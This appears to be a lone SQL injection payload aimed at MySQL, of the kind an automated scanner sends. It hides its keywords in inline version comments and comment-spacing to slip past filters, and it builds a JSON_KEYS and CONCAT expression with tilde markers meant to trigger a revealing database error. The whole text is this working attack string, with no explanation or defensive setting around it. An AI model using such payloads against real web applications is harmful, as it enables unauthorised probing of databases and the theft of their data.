1+(SELECT '4vfjOKWM' WHERE 8921=8921,(/*!50000SELECT*/4877/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4877=4877,1))),%27~%27))/**/USING/**/utf8))))x))+